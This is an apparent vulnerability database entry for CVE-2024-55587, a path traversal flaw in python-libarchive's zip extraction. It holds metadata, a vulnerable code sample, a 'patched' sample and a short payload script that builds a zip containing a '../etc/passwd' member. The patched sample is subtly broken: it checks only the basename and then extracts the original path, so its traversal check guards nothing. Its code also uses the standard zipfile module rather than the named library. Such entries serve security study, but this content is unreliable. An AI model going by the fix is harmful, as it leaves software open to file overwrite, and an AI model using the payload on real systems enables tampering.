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CVE-2024-55587

Python-libarchive < 4.2.2 allows directory traversal via ZipFile.extract* in zip.py.

  • CVSS 8.8
  • CWE-22
  • Design Defects
  • Remote

python-libarchive through 4.2.1 allows directory traversal (to create files) in extract in zip.py for ZipFile.extractall and ZipFile.extract.

CVE
CVE-2024-55587
CWE
CWE-22
CVSS base score
8.8
Published
2024-12-11
OWASP
A04 Insecure Design
Orthogonal defect classification
Interface
Code defect classification
Incorrect Functionality
Category
Design Defects
Subcategory
Path Traversal
Accessibility scope
Remote
Impact
Unauthorized Access
Affected component
python-libar
Fixed by upgrading
Yes

Solution

Upgrade to python-libarchive 4.2.2 or later.

Vulnerable code sample

import zipfile
import os

def extract_zip(zip_filepath, extract_dir):
    try:
        with zipfile.ZipFile(zip_filepath, 'r') as zf:
            zf.extractall(extract_dir) 
    except zipfile.BadZipFile:
        print("Invalid zip file.")
    except Exception as e:
        print(f"An error occurred: {e}")

Patched code sample

import os
import zipfile

def extract_zip(zip_file_path, extract_dir):
    
    try:
        with zipfile.ZipFile(zip_file_path, 'r') as zf:
            for member in zf.infolist():
                target_path = os.path.join(extract_dir, os.path.basename(member.filename))
                if not os.path.abspath(target_path).startswith(os.path.abspath(extract_dir)):
                    raise ValueError("Path traversal detected!")

                zf.extract(member, extract_dir) 
    except zipfile.BadZipFile:
        print("Invalid or corrupt zip file.")
    except ValueError as e:
        print(f"Error: {e}")

Payload

import zipfile
from zipfile import ZipFile

z = ZipFile('malicious.zip', 'w')
z.writestr('../etc/passwd', 'test')
z.close()

Cite this entry

@misc{vaitp:cve202455587,
  title        = {{Python-libarchive < 4.2.2 allows directory traversal via ZipFile.extract* in zip.py.
}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2024},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2024-55587},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-55587/}}
}
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